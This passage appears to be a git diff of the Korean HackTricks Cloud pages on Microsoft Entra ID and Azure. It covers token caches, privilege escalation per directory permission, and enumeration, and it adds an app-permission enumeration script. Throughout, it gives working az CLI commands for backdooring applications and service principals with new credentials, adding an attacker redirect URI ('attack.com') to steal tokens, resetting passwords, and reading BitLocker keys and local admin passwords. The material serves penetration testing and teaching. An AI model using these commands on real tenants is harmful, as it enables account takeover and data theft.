내부 파일들은 비어 있어 쓸모없습니다) -- 사용자가 브라우저로 Azure에 로그인한 상태라면, 이 [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web)에 따르면 인증 플로우를 **redirect to localhost**로 시작해 브라우저가 자동으로 로그인을 승인하게 만들고 refresh token을 받을 수 있습니다. 단, localhost로 리디렉트가 허용되는 FOCI 애플리케이션(예: az cli나 powershell module)은 극소수이므로 해당 애플리케이션들이 허용되어 있어야 합니다 -- 블로그에서 설명된 다른 방법은 도구 [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow)를 사용하는 것이며, 이 도구는 어떤 애플리케이션이든 사용할 수 있습니다. 최종 인증 페이지의 제목에서 OAuth 코드를 얻어 refresh token을 가져오는 방식이며 redirect URI로 `https://login.microsoftonline.com/common/oauth2/nativeclient`를 사용합니다 +- **`AzureRmContext.json`**에는 Az PowerShell을 사용한 이전 로그인에 대한 정보가 포함되어 있다(하지만 자격 증명은 없음) +- **`C:\Users\\AppData\Local\Microsoft\IdentityCache\*`** 내부에는 여러 `.bin` 파일이 있으며, **access tokens**, ID tokens 및 계정 정보가 사용자 DPAPI로 암호화되어 있다. +- `C:\Users\\AppData\Local\Microsoft\TokenBroken\Cache\` 내부의 `.tbres` 파일들에서는 DPAPI로 암호화된 base64 형태의 access tokens를 더 찾을 수 있다. +- Linux 및 macOS에서는 Az PowerShell(사용된 경우)에서 `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"`를 실행하면 **access tokens, refresh tokens and id tokens**를 얻을 수 있다. +- Windows에서는 이는 id tokens만 생성한다. +- Linux 및 macOS에서 Az PowerShell 사용 여부는 `$HOME/.local/share/.IdentityService/`의 존재로 확인할 수 있다(단 포함된 파일들은 비어 있고 쓸모없음). +- 사용자가 **logged inside Azure with the browser** 상태라면, 이 [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web)에 따르면 인증 흐름을 **redirect to localhost**로 시작하고 브라우저가 자동으로 로그인 승인을 하도록 만들어 refresh token을 받을 수 있다. 단, az cli나 powershell module과 같이 localhost 리디렉트를 허용하는 FOCI 애플리케이션은 극소수이므로 해당 애플리케이션들이 허용되어 있어야 한다. +- 블로그에서 설명한 다른 옵션은 도구 [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow)를 사용하는 것이다. 이 도구는 어떤 애플리케이션이든 사용할 수 있는데, 최종 인증 페이지의 제목에서 OAuth 코드를 얻어 그 코드로 refresh token을 가져오기 때문이다. 리디렉트 URI는 `https://login.microsoftonline.com/common/oauth2/nativeclient`. ## 참고자료 - [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research) - [https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md](https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md) +- [https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/](https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/) +- [https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/](https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md index d71dbdf16..8a06c6a67 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md @@ -3,13 +3,13 @@ {{#include ../../../../banners/hacktricks-training.md}} > [!NOTE] -> **Entra ID**에 내장된 모든 세부 권한이 **사용자 정의 역할**에 사용될 수 있는 것은 아닙니다. +> Entra ID의 내장 역할들이 가진 **모든 세분화된 권한이** 사용자 지정 역할에서 **사용 가능한 것은 아니다.** -## Roles +## 역할 -### Role: Privileged Role Administrator +### 역할: Privileged Role Administrator -이 역할은 주체에게 역할을 할당하고 역할에 더 많은 권한을 부여할 수 있는 데 필요한 세부 권한을 포함합니다. 두 가지 작업 모두 권한 상승을 위해 악용될 수 있습니다. +이 역할은 주체(principals)에게 역할을 할당하고 역할에 더 많은 권한을 부여할 수 있는 필요한 세분화된 권한을 포함하고 있습니다. 이 두 작업은 권한 상승으로 악용될 수 있습니다. - 사용자에게 역할 할당: ```bash @@ -48,11 +48,11 @@ az rest --method PATCH \ ] }' ``` -## Applications +## 애플리케이션 ### `microsoft.directory/applications/credentials/update` -이것은 공격자가 기존 애플리케이션에 **자격 증명**(비밀번호 또는 인증서)을 추가할 수 있게 해줍니다. 애플리케이션에 권한이 있는 경우, 공격자는 해당 애플리케이션으로 인증하고 그 권한을 얻을 수 있습니다. +이를 통해 공격자는 기존 애플리케이션에 **add credentials** (passwords or certificates)를 추가할 수 있습니다. 애플리케이션에 privileged permissions가 있다면, 공격자는 해당 애플리케이션으로 인증하여 그 권한을 획득할 수 있습니다. ```bash # Generate a new password without overwritting old ones az ad app credential reset --id --append @@ -61,13 +61,13 @@ az ad app credential reset --id --create-cert ``` ### `microsoft.directory/applications.myOrganization/credentials/update` -이것은 `applications/credentials/update`와 동일한 작업을 허용하지만 단일 디렉터리 애플리케이션에 한정됩니다. +이 권한은 `applications/credentials/update`와 동일한 작업을 허용하지만, 단일 디렉터리 애플리케이션으로 범위가 제한됩니다. ```bash az ad app credential reset --id --append ``` ### `microsoft.directory/applications/owners/update` -자신을 소유자로 추가함으로써 공격자는 애플리케이션을 조작할 수 있으며, 여기에는 자격 증명 및 권한이 포함됩니다. +자신을 owner로 추가하면, 공격자는 자격 증명과 권한을 포함한 애플리케이션을 조작할 수 있습니다. ```bash az ad app owner add --id --owner-object-id az ad app credential reset --id --append @@ -77,40 +77,155 @@ az ad app owner list --id ``` ### `microsoft.directory/applications/allProperties/update` -공격자는 테넌트의 사용자들이 사용하는 애플리케이션에 리디렉션 URI를 추가한 다음, 새로운 리디렉션 URL을 사용하는 로그인 URL을 공유하여 그들의 토큰을 훔칠 수 있습니다. 사용자가 이미 애플리케이션에 로그인한 경우, 인증은 사용자가 아무것도 수락할 필요 없이 자동으로 이루어집니다. +공격자는 tenant의 사용자들이 사용 중인 applications에 redirect URI를 추가한 후, 새 redirect URL을 사용하는 login URLs를 공유하여 그들의 tokens를 탈취할 수 있습니다. 사용자가 이미 해당 application에 로그인되어 있는 경우에는, 사용자가 아무것도 승인할 필요 없이 authentication이 자동으로 이루어집니다. -또한 애플리케이션이 요청하는 권한을 변경하여 더 많은 권한을 얻는 것도 가능하지만, 이 경우 사용자는 모든 권한을 요청하는 프롬프트를 다시 수락해야 합니다. +또한 더 많은 권한을 얻기 위해 application이 요청하는 permissions를 변경하는 것도 가능하지만, 이 경우 사용자는 모든 permissions를 요구하는 prompt를 다시 수락해야 합니다. ```bash # Get current redirect uris az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris" # Add a new redirect URI (make sure to keep the configured ones) az ad app update --id --web-redirect-uris "https://original.com/callback https://attack.com/callback" ``` -## Service Principals +### 애플리케이션 권한 상승 + +**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** 기본 애플리케이션에 유형이 **`Application`**인 **API permissions**이 할당되어 있는 경우를 흔히 볼 수 있습니다. + +Entra ID 콘솔에서 부르는 API Permission 유형 중 **`Application`**은 애플리케이션이 사용자 컨텍스트(앱에 사용자가 로그인하지 않은 상태) 없이 API에 접근하고 작업을 수행할 수 있으며, 이를 허용하기 위해 Entra ID 역할이 필요하지 않다는 뜻입니다. 따라서 거의 모든 Entra ID 테넌트에서 **권한이 높은 애플리케이션을 찾는 것이 매우 흔합니다**. + +그런 다음, 공격자가 애플리케이션의 자격 증명(secret o certificate)을 업데이트할 수 있는 권한/역할을 가지고 있다면, 공격자는 새로운 자격 증명을 생성하고 이를 사용해 **authenticate as the application**하여 해당 애플리케이션이 가진 모든 권한을 획득할 수 있습니다. + +언급된 블로그는 일부 Microsoft 기본 애플리케이션의 **API permissions**를 공유했으나, 이 보고서 이후 Microsoft는 이 문제를 수정하여 이제 Microsoft 애플리케이션으로 로그인하는 것이 불가능합니다. 그러나 여전히 악용될 수 있는 **권한이 높은 custom applications**를 찾을 수 있습니다. + +How to enumerate the API permissions of an application: +```bash +# Get "API Permissions" of an App +## Get the ResourceAppId +az ad app show --id "" --query "requiredResourceAccess" --output json +## e.g. +[ +{ +"resourceAccess": [ +{ +"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d", +"type": "Scope" +}, +{ +"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa", +"type": "Role" +} +], +"resourceAppId": "00000003-0000-0000-c000-000000000000" +} +] + +## For the perms of type "Scope" +az ad sp show --id --query "oauth2PermissionScopes[?id==''].value" -o tsv +az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv + +## For the perms of type "Role" +az ad sp show --id --query "appRoles[?id==''].value" -o tsv +az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv +``` +
+non-Microsoft APIs에 대한 API 권한을 가진 모든 애플리케이션 찾기 (az cli) +```bash +#!/usr/bin/env bash +set -euo pipefail + +# Known Microsoft first-party owner organization IDs. +MICROSOFT_OWNER_ORG_IDS=( +"f8cdef31-a31e-4b4a-93e4-5f571e91255a" +"72f988bf-86f1-41af-91ab-2d7cd011db47" +) + +is_microsoft_owner() { +local owner="$1" +local id +for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do +if [ "$owner" = "$id" ]; then +return 0 +fi +done +return 1 +} + +command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; } +command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; } +az account show >/dev/null + +apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)" + +tmp_map="$(mktemp)" +tmp_ids="$(mktemp)" +trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT + +# Build unique resourceAppId values used by applications. +jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids" + +# Resolve resourceAppId -> owner organization + API display name. +while IFS= read -r rid; do +[ -n "$rid" ] || continue +sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)" +owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")" +name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")" +printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map" +done < "$tmp_ids" + +echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId" + +# Print only app permissions where the target API is NOT Microsoft-owned. +while IFS= read -r row; do +app_name="$(jq -r '.[0]' <<<"$row")" +app_id="$(jq -r '.[1]' <<<"$row")" + +while IFS= read -r rra; do +resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")" +map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")" +owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")" +resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")" + +[ -n "$owner_org" ] || owner_org="UNKNOWN" +[ -n "$resource_name" ] || resource_name="UNKNOWN" + +if is_microsoft_owner "$owner_org"; then +continue +fi + +while IFS= read -r access; do +perm_type="$(jq -r '.type' <<<"$access")" +perm_id="$(jq -r '.id' <<<"$access")" +echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}" +done < <(jq -c '.resourceAccess[]' <<<"$rra") +done < <(jq -c '.[2][]' <<<"$row") +done < <(jq -c '.[]' <<<"$apps_json") +``` +
+ +## 서비스 주체 ### `microsoft.directory/servicePrincipals/credentials/update` -이것은 공격자가 기존 서비스 주체에 자격 증명을 추가할 수 있게 해줍니다. 서비스 주체가 상승된 권한을 가지고 있다면, 공격자는 그 권한을 가질 수 있습니다. +이 권한은 공격자가 기존 서비스 주체에 자격 증명을 추가할 수 있게 합니다. 해당 서비스 주체가 권한이 상승된 경우 공격자는 그 권한을 획득할 수 있습니다. ```bash az ad sp credential reset --id --append ``` > [!CAUTION] -> 새로 생성된 비밀번호는 웹 콘솔에 나타나지 않으므로, 이는 서비스 주체에 대한 지속성을 유지하는 은밀한 방법이 될 수 있습니다.\ -> API에서 다음과 같이 찾을 수 있습니다: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` +> 새로 생성된 비밀번호는 웹 콘솔에 표시되지 않으므로, 이는 service principal에 대한 persistence를 유지하는 은밀한 방법이 될 수 있습니다.\ +> API에서는 다음 명령으로 찾을 수 있습니다: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` -만약 `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`라는 오류가 발생하면, **SP의 passwordCredentials 속성을 수정할 수 없기 때문입니다**. 먼저 이를 잠금 해제해야 합니다. 이를 위해서는 다음을 실행할 수 있는 권한(`microsoft.directory/applications/allProperties/update`)이 필요합니다: +If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **it's not possible to modify the passwordCredentials property** of the SP and first you need to unlock it. For it you need a permission (`microsoft.directory/applications/allProperties/update`) that allows you to execute: ```bash az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}' ``` ### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage` -이것은 공격자가 기존 서비스 주체에 자격 증명을 추가할 수 있게 해줍니다. 서비스 주체가 상승된 권한을 가지고 있다면, 공격자는 그 권한을 가질 수 있습니다. +이 권한을 통해 공격자는 기존 service principals에 credentials를 추가할 수 있습니다. 해당 service principal이 elevated privileges를 가지고 있으면, 공격자는 그 권한을 획득할 수 있습니다. ```bash az ad sp credential reset --id --append ``` ### `microsoft.directory/servicePrincipals/owners/update` -응용 프로그램과 유사하게, 이 권한은 서비스 주체에 더 많은 소유자를 추가할 수 있게 해줍니다. 서비스 주체를 소유하면 해당 자격 증명 및 권한을 제어할 수 있습니다. +애플리케이션과 유사하게, 이 권한은 service principal에 더 많은 owners를 추가할 수 있게 합니다. service principal을 소유하면 해당 자격 증명 및 권한을 제어할 수 있습니다. ```bash # Add new owner spId="" @@ -128,13 +243,13 @@ az ad sp credential reset --id --append az ad sp owner list --id ``` > [!CAUTION] -> 새로운 소유자를 추가한 후, 이를 제거하려고 했지만 API는 DELETE 메서드가 지원되지 않는다고 응답했습니다. 소유자를 삭제하는 데 필요한 메서드임에도 불구하고 말이죠. 그래서 **현재 소유자를 제거할 수 없습니다**. +> 새 owner를 추가한 뒤 제거하려 했으나 API가 DELETE 메서드를 지원하지 않는다고 응답했습니다. DELETE가 owner를 삭제하는 데 사용해야 하는 메서드임에도 불구하고요. 그래서 **요즘은 소유자(owner)를 제거할 수 없습니다**. -### `microsoft.directory/servicePrincipals/disable` 및 `enable` +### `microsoft.directory/servicePrincipals/disable` and `enable` -이 권한은 서비스 주체를 비활성화하고 활성화할 수 있게 해줍니다. 공격자는 이 권한을 사용하여 접근할 수 있는 서비스 주체를 활성화하여 권한을 상승시킬 수 있습니다. +이 권한들은 service principals를 비활성화(disable)하고 활성화(enable)할 수 있게 합니다. 공격자는 이 권한을 이용해 어떤 식으로든 접근할 수 있는 service principal을 활성화하여 권한 상승을 시도할 수 있습니다. -이 기술을 사용하기 위해 공격자는 활성화된 서비스 주체를 장악하기 위해 더 많은 권한이 필요하다는 점에 유의하세요. +이 기법에서는 공격자가 활성화된 service principal을 인수하기 위해 추가적인 권한이 필요하다는 점에 유의하세요. ```bash # Disable az ad sp update --id --account-enabled false @@ -144,7 +259,7 @@ az ad sp update --id --account-enabled true ``` #### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials` -이 권한은 단일 로그인에 대한 자격 증명을 생성하고 가져올 수 있게 하여 타사 애플리케이션에 대한 액세스를 허용할 수 있습니다. +이 권한들은 싱글 사인온(SSO)용 자격 증명을 생성하고 가져올 수 있게 하며, 이를 통해 타사 애플리케이션에 대한 접근이 가능해질 수 있습니다. ```bash # Generate SSO creds for a user or a group spID="" @@ -164,44 +279,36 @@ az rest --method POST \ --headers "Content-Type=application/json" \ --body "{\"id\": \"$credID\"}" ``` -### 애플리케이션 권한 상승 - -**[이 게시물](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)에서 설명한 바와 같이** 기본 애플리케이션에서 **API 권한** 유형 **`Application`**이 할당된 경우를 찾는 것은 매우 일반적입니다. **`Application`** 유형의 API 권한(Entra ID 콘솔에서 호출됨)은 애플리케이션이 사용자 컨텍스트(사용자가 앱에 로그인하지 않고) 없이 API에 접근할 수 있음을 의미하며, 이를 허용하기 위해 Entra ID 역할이 필요하지 않습니다. 따라서 **모든 Entra ID 테넌트에서 높은 권한을 가진 애플리케이션을 찾는 것은 매우 일반적입니다**. - -따라서 공격자가 **애플리케이션의 자격 증명(비밀 또는 인증서)을 업데이트할 수 있는 권한/역할**을 가지고 있다면, 공격자는 새로운 자격 증명을 생성하고 이를 사용하여 **애플리케이션으로 인증**할 수 있으며, 애플리케이션이 가진 모든 권한을 얻을 수 있습니다. - -언급된 블로그는 일반적인 Microsoft 기본 애플리케이션의 **API 권한**을 공유하지만, 이 보고서 이후 Microsoft는 이 문제를 수정하였고 이제는 Microsoft 애플리케이션으로 로그인할 수 없습니다. 그러나 여전히 **악용될 수 있는 높은 권한을 가진 사용자 정의 애플리케이션을 찾는 것은 가능합니다**. - --- ## 그룹 ### `microsoft.directory/groups/allProperties/update` -이 권한은 사용자에게 특권 그룹에 추가할 수 있는 권한을 부여하여 권한 상승을 초래합니다. +이 권한은 사용자를 관리자 권한이 있는 그룹에 추가할 수 있게 하여 권한 상승으로 이어질 수 있습니다. ```bash az ad group member add --group --member-id ``` -**참고**: 이 권한은 Entra ID 역할 할당 그룹을 제외합니다. +**참고**: 이 권한은 Entra ID의 역할 할당 가능 그룹(role-assignable groups)을 제외합니다. ### `microsoft.directory/groups/owners/update` -이 권한은 그룹의 소유자가 될 수 있게 해줍니다. 그룹의 소유자는 그룹 구성원 및 설정을 제어할 수 있으며, 잠재적으로 그룹에 대한 권한을 상승시킬 수 있습니다. +이 권한을 통해 그룹의 소유자가 될 수 있습니다. 그룹 소유자는 그룹 멤버십과 설정을 제어할 수 있으며, 잠재적으로 그룹에 대한 privilege escalation을 초래할 수 있습니다. ```bash az ad group owner add --group --owner-object-id az ad group member add --group --member-id ``` -**참고**: 이 권한은 Entra ID 역할 할당 가능 그룹을 제외합니다. +**참고**: 이 권한은 Entra ID role-assignable groups를 제외합니다. ### `microsoft.directory/groups/members/update` -이 권한은 그룹에 구성원을 추가할 수 있게 해줍니다. 공격자는 자신이나 악의적인 계정을 특권 그룹에 추가하여 상승된 접근 권한을 부여할 수 있습니다. +이 권한은 그룹에 멤버를 추가할 수 있게 합니다. An attacker는 자신이나 악성 계정을 privileged groups에 추가하여 권한을 상승시킬 수 있습니다. ```bash az ad group member add --group --member-id ``` ### `microsoft.directory/groups/dynamicMembershipRule/update` -이 권한은 동적 그룹의 멤버십 규칙을 업데이트할 수 있게 해줍니다. 공격자는 동적 규칙을 수정하여 명시적인 추가 없이 자신을 권한이 있는 그룹에 포함시킬 수 있습니다. +이 권한은 동적 그룹의 멤버십 규칙을 업데이트할 수 있게 합니다. 공격자는 동적 규칙을 수정하여 명시적 추가 없이 자신을 권한이 있는 그룹에 포함시킬 수 있습니다. ```bash groupId="" az rest --method PATCH \ @@ -212,11 +319,11 @@ az rest --method PATCH \ "membershipRuleProcessingState": "On" }' ``` -**참고**: 이 권한은 Entra ID 역할 할당 그룹을 제외합니다. +**참고**: 이 권한은 Entra ID role-assignable groups를 제외합니다. -### 동적 그룹 권한 상승 +### Dynamic Groups Privesc -사용자가 자신의 속성을 수정하여 동적 그룹의 구성원으로 추가될 수 있는 권한 상승이 가능할 수 있습니다. 자세한 내용은 다음을 확인하세요: +사용자가 자신의 속성을 수정하여 dynamic groups의 구성원으로 추가되도록 할 수 있어 권한 상승이 가능할 수 있습니다. 자세한 내용은 다음을 확인하세요: {{#ref}} dynamic-groups.md @@ -226,13 +333,13 @@ dynamic-groups.md ### `microsoft.directory/users/password/update` -이 권한은 비관리자 사용자에게 비밀번호를 재설정할 수 있게 하여 잠재적인 공격자가 다른 사용자에게 권한을 상승시킬 수 있게 합니다. 이 권한은 사용자 정의 역할에 할당할 수 없습니다. +이 권한은 비관리자 사용자의 암호를 재설정할 수 있게 하여, 잠재적 공격자가 다른 사용자로 권한을 상승시킬 수 있도록 합니다. 이 권한은 사용자 지정 역할에 할당할 수 없습니다. ```bash az ad user update --id --password "kweoifuh.234" ``` ### `microsoft.directory/users/basic/update` -이 권한은 사용자의 속성을 수정할 수 있습니다. 속성 값에 따라 사용자를 추가하는 동적 그룹을 찾는 것이 일반적이므로, 이 권한은 사용자가 특정 동적 그룹의 구성원이 되기 위해 필요한 속성 값을 설정하고 권한을 상승시킬 수 있게 할 수 있습니다. +이 권한은 사용자의 속성을 수정할 수 있게 합니다. 속성 값에 따라 사용자를 추가하는 dynamic groups를 찾는 경우가 흔하므로, 이 권한을 통해 사용자가 특정 dynamic group의 멤버가 되기 위해 필요한 속성 값을 설정하고 escalate privileges할 수 있습니다. ```bash #e.g. change manager of a user victimUser="" @@ -248,9 +355,9 @@ az rest --method PATCH \ --headers "Content-Type=application/json" \ --body "{\"department\": \"security\"}" ``` -## 조건부 액세스 정책 및 MFA 우회 +## Conditional Access Policies & MFA bypass -잘못 구성된 MFA를 요구하는 조건부 액세스 정책은 우회될 수 있습니다. 확인하세요: +잘못 구성된 conditional access policies가 MFA를 요구하도록 설정된 경우 우회될 수 있습니다. 확인: {{#ref}} az-conditional-access-policies-mfa-bypass.md @@ -260,7 +367,7 @@ az-conditional-access-policies-mfa-bypass.md ### `microsoft.directory/devices/registeredOwners/update` -이 권한은 공격자가 장치의 소유자로 자신을 할당하여 장치 특정 설정 및 데이터에 대한 제어 또는 액세스를 얻을 수 있게 합니다. +이 권한은 공격자가 자신을 디바이스의 소유자로 지정하여 디바이스 관련 설정 및 데이터에 대한 제어 또는 접근 권한을 얻을 수 있게 합니다. ```bash deviceId="" userId="" @@ -271,7 +378,7 @@ az rest --method POST \ ``` ### `microsoft.directory/devices/registeredUsers/update` -이 권한은 공격자가 자신의 계정을 장치와 연결하여 접근 권한을 얻거나 보안 정책을 우회할 수 있게 해줍니다. +이 권한은 공격자가 자신의 계정을 디바이스에 연결하여 접근 권한을 얻거나 보안 정책을 우회할 수 있게 합니다. ```bash deviceId="" userId="" @@ -282,7 +389,7 @@ az rest --method POST \ ``` ### `microsoft.directory/deviceLocalCredentials/password/read` -이 권한은 공격자가 Microsoft Entra에 가입된 장치의 백업된 로컬 관리자 계정 자격 증명의 속성을 읽을 수 있도록 하며, 여기에는 비밀번호가 포함됩니다. +이 권한은 attackers가 Microsoft Entra joined devices에 대해 백업된 local administrator account credentials의 속성(password 포함)을 읽을 수 있도록 허용합니다. ```bash # List deviceLocalCredentials az rest --method GET \ @@ -297,7 +404,7 @@ az rest --method GET \ ### `microsoft.directory/bitlockerKeys/key/read` -이 권한은 BitLocker 키에 접근할 수 있게 하며, 이는 공격자가 드라이브를 복호화하여 데이터 기밀성을 위협할 수 있게 합니다. +이 권한은 BitLocker 키에 접근할 수 있도록 허용하며, 공격자가 드라이브를 복호화하여 데이터 기밀성이 침해될 수 있습니다. ```bash # List recovery keys az rest --method GET \ @@ -308,7 +415,7 @@ recoveryKeyId="" az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key" ``` -## 다른 흥미로운 권한 (TODO) +## 다른 흥미로운 권한들 (TODO) - `microsoft.directory/applications/permissions/update` - `microsoft.directory/servicePrincipals/permissions/update` diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md index 20abcbec8..3c48f6b16 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md +++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md @@ -1,12 +1,12 @@ -# Az - Entra ID (AzureAD) & Azure IAM +# Az - Entra ID (AzureAD) 및 Azure IAM {{#include ../../../banners/hacktricks-training.md}} ## 기본 정보 -Azure Active Directory (Azure AD)는 identity 및 access 관리를 위한 Microsoft의 클라우드 기반 서비스입니다. 직원들이 Microsoft 365, Azure portal 및 다양한 다른 SaaS 애플리케이션을 포함해 조직 내부와 외부의 리소스에 로그인하고 접근할 수 있도록 지원합니다. Azure AD의 설계는 주로 **인증, 권한 부여, 사용자 관리**와 같은 필수적인 아이덴티티 서비스를 제공하는 데 초점을 맞춥니다. +Azure Active Directory (Azure AD)는 Microsoft의 클라우드 기반 신원 및 접근 관리 서비스입니다. 직원들이 조직 내부 및 외부의 리소스(예: Microsoft 365, the Azure portal 및 다양한 다른 SaaS 애플리케이션)에 로그인하고 액세스할 수 있도록 하는 데 핵심적인 역할을 합니다. Azure AD의 설계는 특히 **인증, 권한 부여, 및 사용자 관리**와 같은 필수 신원 서비스를 제공하는 데 중점을 둡니다. -Azure AD의 주요 기능으로는 **다단계 인증** 및 **조건부 액세스**와 다른 Microsoft 보안 서비스와의 원활한 통합이 포함됩니다. 이러한 기능들은 사용자 아이덴티티의 보안을 크게 향상시키고 조직이 액세스 정책을 효과적으로 구현하고 시행할 수 있게 합니다. Microsoft의 클라우드 서비스 생태계의 기본 구성 요소로서, Azure AD는 사용자 아이덴티티의 클라우드 기반 관리에 있어 중요한 역할을 합니다. +Azure AD의 주요 기능에는 **다단계 인증** 및 **조건부 액세스**가 있으며, 다른 Microsoft 보안 서비스와의 원활한 통합을 지원합니다. 이러한 기능은 사용자 신원의 보안을 크게 향상시키고 조직이 액세스 정책을 효과적으로 구현하고 시행할 수 있도록 합니다. Microsoft의 클라우드 서비스 생태계에서 기본 구성 요소로서 Azure AD는 사용자 신원의 클라우드 기반 관리에 매우 중요합니다. ## 열거 @@ -185,13 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token {{#endtab }} {{#endtabs }} -어떤 프로그램으로든 **CLI**를 통해 **Azure**에 **login**하면, **Microsoft** 소속의 **tenant**에서 온 **Azure Application**을 사용하게 됩니다. +어떤 프로그램으로든 **CLI**를 통해 **Azure**에 **login**하면, 당신은 **Microsoft**에 속한 **tenant**의 **Azure Application**을 사용하고 있는 것입니다. 계정에서 생성할 수 있는 것들과 마찬가지로, 이러한 Applications은 **client id를 가지고 있습니다**. 콘솔에서 볼 수 있는 **allowed applications lists**에서는 그들을 **모두 볼 수는 없습니다**, **하지만 기본적으로 허용되어 있습니다**. -계정에서 생성할 수 있는 것들과 마찬가지로 이러한 Applications는 **have a client id**. 콘솔에서 볼 수 있는 **allowed applications lists**에서는 이들 모두를 **won't be able to see all of them** 수 있지만, **but they are allowed by default**. +예를 들어, **authenticates**하는 **powershell script**는 client id가 **`1950a258-227b-4e31-a9cf-717495945fc2`**인 앱을 사용합니다. 앱이 콘솔에 나타나지 않더라도, sysadmin은 **해당 application을 차단**할 수 있어 사용자가 그 App을 통해 연결되는 도구로 접근하지 못하게 만들 수 있습니다. -예를 들어 **authenticates**하는 **powershell script**는 클라이언트 id가 **`1950a258-227b-4e31-a9cf-717495945fc2`**인 app을 사용합니다. 해당 app이 콘솔에 표시되지 않더라도, sysadmin은 **block that application**하여 사용자가 해당 App을 통해 연결하는 도구로 접근하는 것을 막을 수 있습니다. - -하지만 **other client-ids**를 가진 애플리케이션들 중 **will allow you to connect to Azure** 하는 것들이 있습니다: +하지만 **다른 client-ids**를 가진 애플리케이션들이 **Azure에 연결할 수 있게 해줍니다**: ```bash # The important part is the ClientId, which identifies the application to login inside Azure @@ -229,7 +227,7 @@ az account tenant list ### 사용자 -Entra ID 사용자에 대한 자세한 내용은 다음을 참조하세요: +Entra ID 사용자에 대한 자세한 정보는 다음을 확인하세요: {{#ref}} ../az-basic-information/ @@ -366,15 +364,15 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose ``` -### MFA 및 Conditional Access Policies +### MFA & Conditional Access Policies -모든 사용자에게 MFA를 추가하는 것이 강력히 권장됩니다. 하지만 일부 회사는 이를 설정하지 않거나 Conditional Access로 설정할 수 있습니다: 사용자가 특정 위치, 브라우저 또는 **어떤 조건**에서 로그인하면 **MFA가 요구됩니다**. 이러한 정책은 올바르게 구성되지 않으면 **우회**될 수 있습니다. 확인: +모든 사용자에게 MFA를 추가하는 것을 강력히 권장합니다. 하지만 일부 조직은 이를 설정하지 않거나 Conditional Access로 구성하여, 사용자가 특정 위치나 브라우저에서 로그인하거나 특정 조건을 만족할 때 **required MFA if**가 적용되도록 할 수 있습니다. 이러한 정책은 